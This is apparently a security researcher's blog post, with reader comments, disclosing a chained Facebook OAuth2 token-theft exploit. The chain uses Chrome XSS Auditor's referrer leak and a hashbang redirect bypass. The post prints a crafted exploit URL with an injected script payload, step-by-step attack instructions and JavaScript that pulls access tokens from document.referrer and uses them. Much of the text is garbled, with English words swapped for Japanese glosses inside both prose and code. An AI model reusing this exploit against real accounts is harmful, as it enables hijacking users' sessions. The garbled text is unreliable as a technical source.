1. in Google Chrome XSS Auditor, 漏れるing 文書.referrer.
3 weeks ago I wrote 公表，暴露 地位，任命する on referrer 漏れ for pages with X-XSS-保護: '1;方式=封鎖する'. Please read the 初めの 地位，任命する to understand how it 作品. When Auditor 封鎖するs page, it redirects to about:blank URL (about:blank always 相続するs parent's origin). And we can 接近 文書.referrer 含む／封じ込めるing the previous URL Auditor just 封鎖するd. Facebook had '1; 方式=封鎖する' header. Now it's 0; because of us (Auditor is dangerous, new vulns will be 地位，任命するd soon). Sadly, this bug 報告（する）／憶測 was 示すd as sev=low by Chrome 安全 team and no bounty 認めるd.
It's not patched yet.
2. OAuth2 is... やめる 危険な auth 枠組み. Gigantic attack surface, all parameters are passed in URL. I will 令状 a separate 地位，任命する about OAuth1 vs OAuth2 in a few weeks. 脅し Model is bigger than in 公式の／役人 docs.
In August 2012 I wrote a lot about ありふれた vulnerabilities-by-design and even 提案するd to 直す／買収する，八百長をする it: OAuth2.a.
We used 2 bugs: dynamic redirect_uri and dynamic response_type parameter.
response_type=code is the most 安全な・保証する authentication flow, because end 使用者 never sees his access_token. But response_type is 基本的に a parameter in 権限を与える URL. By 取って代わるing response_type=code to response_type=記念品,signed_request we receive both 記念品 and code on our redirect_uri.
redirect_uri can be not only app's domain, but facebook.com domain is also 許すd.
In our 偉業／利用する we used response_type=記念品,signed_request&redirect_uri=FB_PATH where FB_PATH was a 特に （手先の）技術d URL to 公表する／暴露する these values...
3. 場所.hash 公表，暴露 on facebook.com
For response_type=記念品 provider sends an 接近 記念品 in 場所 fragment (aka 場所.hash) to 避ける data 漏れるing 経由で referrers (場所.hash is never sent in referrers)
@isciurus 設立する a "bouncing" hashbang in September 2012. The trick was: facebook 除去するs '#' from URLs 含む／封じ込めるing "#!" (AJAX google indexation trick) , it boils 負かす／撃墜する to copying 場所.hash into URL and 公表する／暴露するs 接近 記念品 in 文書.referrer.
Later, in January he just 設立する another bypass of "直す／買収する，八百長をするd" vulnerability, using %23 instead of #.
Here we go - PoC, look at the source code.
cut_me Custom Payload we used to make Auditor to 封鎖する the final page. We put it in the '明言する／公表する' parameter (used to 妨げる CSRF, you must know!)
target_app_id client_id we want to steal access_token and code from. In "real world" 偉業／利用する we would use 100-200 most popular Facebook 使用／適用s and just gather all the 利用できる 記念品s. It would be awesome.
sensitive_info - tampering of response_type parameter: signed_request and 記念品 are 私的な Info we are going to 漏れる through 文書.referrer
Now the final URL:
url = "http://www.facebook.com/dialog/oauth?client_id=" + target_app_id + "&response_type="+sensitive_info+"&陳列する，発揮する=非，不，無&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D"+cut_me+"&sdk=joey";
Value will look like:
http://www.facebook.com/dialog/oauth?client_id=111239619098&response_type=記念品%2Csigned_request&陳列する，発揮する=非，不，無&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D%3Cscript%3Evar%20bigPipe%20%3D%20new%20(要求する('BigPipe'))(%7B%22lid%22%3A0%2C%22forceFinish%22%3Atrue%7D)%3B%3C%2Fscript%3E&sdk=joey
Steps:
1) We open 25 windows (this is 最大限 量 of 許すd windows in Chrome) with different target_app_id. Gotcha: Chrome DOES 負担 the URL even if it 封鎖するs a window. This makes 偉業／利用する even cooler: we open 25 windows, all of them are 封鎖するd but 負担d, Auditor 封鎖するs Custom Payload, we 得る，とらえる 文書.referrer, 使用者 is not 脅すd at all.
2) If 使用者 以前 権限を与えるd 確かな app_id he will be automatically redirected to
FB_PATH#...signed_request=SR&access_token=TOKEN&明言する／公表する=CUSTOM_PAYLOAD
3) Here Facebook javascript 除去するs '#' from the URL and redirects 使用者 to another FB_PATH/...?signed_request=SR&access_token=TOKEN&明言する／公表する=CUSTOM_PAYLOAD
4) Now server 答える／応じるs with HTML page and
X-XSS-保護: '1; 方式=封鎖する'
header.
Chrome XSS Auditor （悪事，秘密などを）発見するs 明言する／公表する=CUSTOM_PAYLOAD in HTML code of 返答:
<script>var bigPipe = new (要求する('BigPipe'))({"lid":0,"forceFinish":true});</script>'
封鎖するs and redirects to about:blank
5) On MalloryPage we have setInterval which waits for 場所.href=='about:blank'.
about:blank 相続するs our MalloryPage origin - so we have 接近 to 文書.referrer. Final 決まりきった仕事:
playground.の近くに();
clearInterval(int);
var ref = playground.文書.referrer;
window.記念品 = ref.match(/記念品=([^\&]+)/)
if(window.記念品){
window.記念品 = window.記念品[1];
文書.令状('<script src="https://graph.facebook.com/me?callback=hello&access_token='+window.記念品+'"><'+'/script>');
}
var hello = 機能（する）／行事(data){
警報('Whats up '+data.指名する+" your 記念品 is "+window.記念品);
}
Voila! Using this 偉業／利用する we can 得る code, signed_request and your access_token for any （弁護士の）依頼人.
After party.
We are splitting $2500 + $2500 bounty from Facebook and working on new attacks.
You really must check the coming soon article I 約束d to 令状 in a few weeks, explaining how broken OAuth2 is.
For example, if you authenticate 使用者s with Facebook it means any XSS on your website can steal 使用者's account. 現在／一般に I'm discussing and 提案するing new ways to Facebook 安全 team how to 扱う it and make response_type=code more 安全な・保証する, because they are the biggest provider and their 決定／判定勝ち（する）s 事柄. If we don't 直す／買収する，八百長をする it - it's The Road To Hell!
For example, if you authenticate 使用者s with Facebook it means any XSS on your website can steal 使用者's account. 現在／一般に I'm discussing and 提案するing new ways to Facebook 安全 team how to 扱う it and make response_type=code more 安全な・保証する, because they are the biggest provider and their 決定／判定勝ち（する）s 事柄. If we don't 直す／買収する，八百長をする it - it's The Road To Hell!
I knew how 攻撃を受けやすい Facebook could be, and 削除するd my account last year, but now it looks like it's also time to 捨てる Chromium browser!
Reply削除するAwesome work! Thank you for 株ing!
May be you should realize how 攻撃を受けやすい are you while walking on the road.
削除するIf you are going to 捨てる every website/piece of ソフトウェア that has 含む／封じ込めるd a vulnerability you will need to stop using the Internet as there are 非，不，無 that have not 含む／封じ込めるd at least one.
削除するYou should try my new browser. It's not 公然と 利用できる, and I can 保証（人） that no 偉業／利用するs have been 設立する in it. I 港／避難所't even looked for any!
削除するAgree with the previous 3 地位，任命するs. Facebook is 攻撃を受けやすい, just like everywhere else on the internet, just don't be dumb and 地位，任命する 極端に personal （警察などへの）密告，告訴（状） then it won't really 事柄.
削除するI think the problem is the 極度の慎重さを要する, personal data that people tend to 蓄える／店 in a facebook. Not the fact that there are vulnera bilities. If you need to 網状組織 there are better bets than facebook.
削除するWhy does the first comment on such an article have to be from a retard / troll?
Reply削除するto 追加する some 炎上
削除するWhy does the second comment have to come from someone 反応するing to the retard/troll? ;)
削除する広大な／多数の／重要な bugs, Keep up the good work!
Reply削除する広大な／多数の／重要な problem solving, 井戸／弁護士席 written :) and nice catch. Thanks for helping to make the web safer for everyone!
Reply削除するImpressive work! Kudos.
Reply削除するThis seems like an 実施 problem. If the OAuth 2 Provider is 排他的に 接近 code 接近 and 要求するs confidential （弁護士の）依頼人s I don't see how any of your 切り開く／タクシー／不正アクセスs can work. This is why in our OAuth 2 implementat (Resteasy), we don't 許す any of the public and insecure 選択s for OAuth2.
Reply削除するYou're making it a lot harder for 合法的 研究員s to get 接近 to using the APIs
Reply削除するHopefully, Google is fully aware of this but I hope they の近くに this vul ASAP and look for more to の近くに before someone's else 運動 them.
Reply削除するWhat's going on with 安全 and malware? I can't remember when was the last time I skimmed Techmeme/Hackernews without seeing such "切り開く／タクシー／不正アクセスd" articles. Damn!
>What's going on with 安全 and malware? I can't remember when was the last time I skimmed Techmeme/Hackernews without seeing such "切り開く／タクシー／不正アクセスd" articles. Damn!
削除するdo you mean you see '切り開く／タクシー／不正アクセスd' very often? this is nice!
Facebook gives you at least $500, if you 切り開く／タクシー／不正アクセス their 場所／位置. Have they paid you?
Reply削除する明らかに you didn't bother to read the entire article
削除するI'm guessing the XSS filter in the Firefox NoScript addon doesn't have this vulnerability?
Reply削除するhm. didn't check 現実に.. does it leave 文書.referrer?
Dele teCan someone explain the article in a much simpler way?
Reply削除するsorry dude, i don't explain in a simple ways on my blog. it takes a lot of time
削除するI think the $2,500 bounty is pretty shity for a company 価値（がある） billions. You're doing weeks of 侵入占拠 分析 for mere pennies. It seems to me like they're 20 orders of magnitude off in that.
Reply削除するYou're a nice guy.
the 偉業／利用する is combination of different bugs and only fo chrome, so i don't think they must have paid more.
削除するIt would cost much more on a 黒人／ボイコット market though
How to find a way to this 黒人／ボイコット market?
削除する簡単に awesome
Reply削除するWOW 広大な／多数の／重要な... thats briliant idea, GOOD JOB
Reply削除するsukses gan :)
Reply削除するА по русски описать?
Reply削除するДа, Я бы тоже попросил на русском, уж больно сложно читать это все на инглише
Reply削除するче сложного то, базовые все слова.
削除するменя забанили на хабре, лавочка закрыта
А тем кто вообще английский не знает?
削除するUchica uchica i eshe raz uchica
削除するIf I am reading this 正確に, you could make 地位，任命するs as the app owner by ハイジャック the 開会／開廷／会期? If so, you could have made hundreds of thousands off of this 偉業／利用する. 全く not 価値（がある） it for $2500. Unless I've read this wrong of course.
Reply削除するyes i could ハイジャック（する） 接近 記念品 and 地位，任命する like i'm any app 使用者 権限を与えるd.
削除する井戸／弁護士席 it would take a lot of time, and it's 黒人／ボイコット hat
When is this 偉業／利用する going to be 任命する／導入するd in public urinals? It has a lot of 約束.
Reply削除するcoool
Reply削除するWhat 運動s you to find out vulnerabiities and what makes you a genius in 安全?
Reply削除する説 that oAuth 2 has 抱擁する 安全 穴を開けるs is pretty big untrue 声明. What you 設立する was not a oAuth 2 穴を開ける, what you 設立する was a 貧しく written 使用／適用 that 許すd you to take 支配（する）／統制する of it. Don't 非難する the 議定書 when the developer didn't follow its specs...
Reply削除するOAuth is not just 枠組み, it is also 組織／基盤／下部構造 around it. And yes it's OAuth to 非難する because their spec sucks. E.g. why whitelist redirect_uri and send it over in URL at the same time? Poor 議定書, with even more poor 実施 by its main provider - Facebook.
削除する